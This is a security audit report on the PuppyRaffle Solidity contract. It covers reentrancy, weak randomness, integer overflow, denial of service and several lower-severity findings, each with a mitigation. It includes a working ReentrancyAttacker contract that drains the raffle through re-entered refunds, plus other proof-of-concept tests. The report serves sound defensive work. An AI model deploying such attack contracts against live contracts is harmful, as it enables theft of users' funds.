PuppyRaffle Audit Report

Version 1.0

Cyfrin.io

July 6, 2025

PuppyRaffle Audit Report

Imran Fazilov

July 6, 2025

Prepared by: Imran Fazilov

Lead Security Researcher:

- Imran Fazilov

Table of Contents

- Medium
  - [M-1] Looping through `players` array to check for duplicates is a potential denial of service (DoS) attack, incrementing gas costs for future entrants
  - [M-2] Unsafe cast of `fee` loses fees
  - [M-3] Smart contract wallets raffle winners without a `recieve` or a `fallback` function will block the start of a new contest
- Low
  - [L-1] `getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
- Informational
  - [I-1] Solidity pragma should be specific, not wide
  - [I-2] Using an outdated version of Solidity is not recommended
  - [I-3] Unchanged state variable should be declared constant or immutable
  - [I-4] Missing checks for `address(0)` when assigning values to address state variables
  - [I-5] Storage variables in a loop should be cached
  - [I-6] `selectWinner` does not follow CEI (Checks, Effects, Interactions), which is not a best practice
  - [I-7] Use of "magic" numbers is discouraged
  - [I-8] `_isActivePlayer` is never used and should be removed

Protocol Summary

Puppy Raffle allows participants to enter a raffle to win an NFT. A participant may enter themselves or others multiple times, but no duplicate addresses are allowed. Refunds are possible through a refund function. After a certain amount of time, the raffle draws a winner and mints a random puppy. The owner will set an address to take a portion of the raffle value. and the rest of the raffle value goes to the winner of the puppy NFT.

Disclaimer

The Imran Fazilov team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

**The findings described in this document correspond to the following commit hash:

```
2a47715b30cf11ca82db148704e67652ad679cd8
```

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	8
Total	15

Findings

High

[H-1] Reentrancy attack in `refund` allows entrant to drain raffle balance

Description: The `refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `players` array.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  -->     payable(msg.sender).sendValue(entranceFee);
7
8  -->     players[playerIndex] = address(0);
9          emit RaffleRefunded(playerAddress);
10     }
```

A player who has entered the raffle could have a `fallback`/`recieve` function that calls the `refund` function again and claim another refund. They could continue the cycle until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept: 1. User enters the raffle 2. Attacker sets up a contract with a `fallback` function that calls `refund` 3. Attacker enters the raffle 4. Attacker calls `refund` from their attack contract,

draining the contract balance.

Proof of Code:

Code

Place the following into `PuppyRaffleTest.t.sol`:

```
function test_reentrancyRefund() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    ReentrancyAttacker attackerContract = new ReentrancyAttacker(
        puppyRaffle);
    address attackUser = makeAddr("attackUser");
    vm.deal(attackUser, 1 ether);

    uint256 startingAttackContractBalance = address(attackerContract).
        balance;
    uint256 startingContractBalance = address(puppyRaffle).balance;

    // Attack
    vm.prank(attackUser);
    attackerContract.attack{value: entranceFee}();

    console2.log("Starting attacker contract balance: ",
        startingAttackContractBalance);
    console2.log("Starting contract balance: ", startingContractBalance
        );

    console2.log("Ending attacker contract balance: ", address(
        attackerContract).balance);
    console2.log("Ending contract balance: ", address(puppyRaffle).
        balance);
}
```

And this contract as well:

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

```

```
11      function attack() external payable {
12          address[] memory players = new address[](1);
13          players[0] = address(this);
14          puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
17          puppyRaffle.refund(attackerIndex);
18      }
19
20      function _stealMoney() internal {
21          if (address(puppyRaffle).balance >= entranceFee) {
22              puppyRaffle.refund(attackerIndex);
23          }
24      }
25
26      fallback() external payable {
27          _stealMoney();
28      }
29
30      receive() external payable {
31          _stealMoney();
32      }
33  }
```

Recommended Mitigation: To prevent this, we should have the `refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5
6   +       players[playerIndex] = address(0);
7   +       emit RaffleRefunded(playerAddress);
8           payable(msg.sender).sendValue(entranceFee);
9
10  -       players[playerIndex] = address(0);
11  -       emit RaffleRefunded(playerAddress);
12      }
```

[H-2] Weak randomness in `selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

`selectWinner` Case 1:

```
1          uint256 winnerIndex =
2  -->         uint256(keccak256(abi.encodePacked(msg.sender, block.
       timestamp, block.difficulty))) % players.length;
```

`selectWinner` Case 2:

```
1          uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
               block.difficulty))) % 100;
```

Impact: Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept: 1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. `block.difficulty` was replaced with prevrandao. 2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner. 3. Users can revert their `selectWinner` transaction if they do not like the winner or resulting puppy.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `totalFees` loses fees

Description: In solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
1          totalFees = totalFees + uint64(fee);
```

Impact: In `selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will not be able to withdraw, due to this line in `withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol.

Proof of Code:

Add this test to `PuppyRaffleTest.t.sol`:

Code

```
function testTotalFeesOverflow() public playersEntered {
    // We finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    // startingTotalFees = 800000000000000000

    // We then have 89 players enter a new raffle
    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    // We end the raffle
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    // And here is where the issue occurs
    // We will now have fewer fees even though we just finished a
        second raffle
    puppyRaffle.selectWinner();

    uint256 endingTotalFees = puppyRaffle.totalFees();
    console.log("ending total fees", endingTotalFees);
    assert(endingTotalFees < startingTotalFees);

    // We are also unable to withdraw any fees because of the require
        check
```

```
29      vm.expectRevert("PuppyRaffle: There are currently players active!")
            ;
30      puppyRaffle.withdrawFees();
31  }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `withdrawFees`:

```
1  -    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
       There are currently players active!");
```

There are more attack vectors with that final require. so we recommend removing it regardless.

Medium

[M-1] Looping through `players` array to check for duplicates is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1  -->     for (uint256 i = 0; i < players.length - 1; i++) { // @audit
       potential bug, review players.length - 1
2           for (uint256 j = i + 1; j < players.length; j++) {
3               require(players[i] != players[j], "PuppyRaffle: Duplicate
                    player");
4           }
5       }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering. causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `entrants` array so big that no one else enters, guaranteeing themselves the win.

Proof of Concept: If we have 2 sets of 100 players enter, the gas costs will be as such: — 1st 100 players: ~6503225 — 2nd 100 players: ~18995465

This is more than 3x more expensive for the second 100 players

Proof of Code:

Place the following test into `PuppyRaffleTest.t.sol`:

Code

```
function test_denialOfService() public {
    // 1st 100 players
    vm.txGasPrice(1);

    uint256 playersNum = 100;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }

    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(
        players);
    uint256 gasEnd = gasleft();

    uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
    console2.log("Gas cost of the first 100 players: ", gasUsedFirst);

    // 2nd 100 players
    address[] memory playersTwo = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        playersTwo[i] = address(i + playersNum);
    }

    uint256 gasStartSecond = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(
        playersTwo);
    uint256 gasEndSecond = gasleft();

    uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
        gasprice;
    console2.log("Gas cost of the first 100 players: ", gasUsedSecond);

    assert(gasUsedFirst < gasUsedSecond);
}
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of

whether a user has already entered.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
           PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-        // Check for duplicates
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+          require(addressToRaffleId[newPlayers[i]] != raffleId, "
   PuppyRaffle: Duplicate player");
+       }
-        for (uint256 i = 0; i < players.length; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle:
   Duplicate player");
-            }
-        }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
```

[M-2] Unsafe cast of `fee` loses fees

Description: In `selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

```
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
```

```
3           uint256 winnerIndex =
4               uint256(keccak256(abi.encodePacked(msg.sender, block.
                    timestamp, block.difficulty))) % players.length;
5           address winner = players[winnerIndex];
6           uint256 totalAmountCollected = players.length * entranceFee;
7           uint256 prizePool = (totalAmountCollected * 80) / 100;
8           uint256 fee = (totalAmountCollected * 20) / 100;
9   -->     totalFees = totalFees + uint64(fee);
```

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. A raffle proceeds with a little more than 18 ETH worth of fees collected 2. The line that casts the `fee` as a `uint64` hits 3. `totalFees` is incorrectly updated with a lower amount

Proof of Code:

You can replicate this in foundry's chisel by running the following:

Code

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

Recommended Mitigation: Set `totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1  -   uint64 public totalFees = 0;
2  +   uint256 public totalFees = 0;
3  .
4  .
5  .
6      function selectWinner() external {
7          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
8          require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
9          uint256 winnerIndex =
10             uint256(keccak256(abi.encodePacked(msg.sender, block.
                   timestamp, block.difficulty))) % players.length;
11         address winner = players[winnerIndex];
12         uint256 totalAmountCollected = players.length * entranceFee;
13         uint256 prizePool = (totalAmountCollected * 80) / 100;
14         uint256 fee = (totalAmountCollected * 20) / 100;
```

```
15 -         totalFees = totalFees + uint64(fee);
16 +         totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without a `recieve` or a `fallback` function will block the start of a new contest

Description: The `selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

```
1 -->      (bool success,) = winner.call{value: prizePool}("");
2          require(success, "PuppyRaffle: Failed to send prize pool to
              winner");
```

Impact: The `selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winner would not get paid out and someone else could take their money.

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function 2. The lottery ends 3. The `selectWinner` function would not work, even though the lottery is over

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses → payout so winners can pull their funds out themselves, putting the responsibility on the winner to claim their prize (Recommended)

Low

[L-1] `getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1     function getActivePlayerIndex(address player) external view returns
          (uint256) {
2         for (uint256 i = 0; i < players.length; i++) {
3             if (players[i] == player) {
4                 return i;
5             }
6         }
```

```
7  -->      return 0;
8       }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept: 1. User enters the raffle, they are the first entrant 2. `getActivePlayerIndex` returns 0 3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be return an `int256` where the function returns a -1 if the player is not active.

Informational

[I-1] Solidity pragma should be specific, not wide

Description: Contracts should use strict versions of solidity. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to unintended results.

```
1  pragma solidity ^0.7.6;
```

Recommended Mitigation:

Lock up pragma versions

```
1  - pragma solidity ^0.7.6;
2  + pragma solidity 0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended

Description: `solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks.

```
1  pragma solidity ^0.7.6;
```

Recommended Mitigation: Use a higher version of solidity (at least 0.8.0)

```
1  - pragma solidity ^0.7.6;
2  + pragma solidity 0.8.0;
```

[I-3] Unchanged state variable should be declared constant or immutable

Description: Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: — `raffleDuration` (line 24) should be `immutable` — `commonImageUri` (line 38) should be `constant` — `rareImageUri` (line 43) should be `constant` — `legendaryImageUri` (line 48) should be `constant`

[I-4] Missing checks for `address(0)` when assigning values to address state variables

Description: Assigning values to address state variables without checking for `address(0)`.

[I-5] Storage variables in a loop should be cached

Description: Calling `.length` on a storage array in a loop condition is expensive. Consider caching the length in a local variable in memory before the loop and reusing it.

Instances: — In `enterRaffle` (lines 81, 86, 87) — In `getActivePlayerIndex` (line 111) — In `_isActivePlayer` (line 174)

[I-6] `selectWinner` does not follow CEI (Checks, Effects, Interactions), which is not a best practice

Description: It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
```

Recommended Mitigation:

```
-    (bool success,) = winner.call{value: prizePool}("");
-    require(success, "PuppyRaffle: Failed to send prize pool to winner"
    );
     _safeMint(winner, tokenId);
+    (bool success,) = winner.call{value: prizePool}("");
+    require(success, "PuppyRaffle: Failed to send prize pool to winner"
    );
```

[I-7] Use of "magic" numbers is discouraged

Description: It can be confusing to see number literals in a codebase, and it is much more readable if the numbers are given a name.

```
-->     uint256 prizePool = (totalAmountCollected * 80) / 100;
-->     uint256 fee = (totalAmountCollected * 20) / 100;
```

Recommended Mitigation: Instead, you could use:

```
+   uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+   uint256 public constant FEE_PERCENTAGE = 20;
+   uint256 public constant POOL_PRECISION = 100;
```

[I-8] `_isActivePlayer` is never used and should be removed

Description: `_isActivePlayer` is never used and therefore contributes to unnecessary costs in gas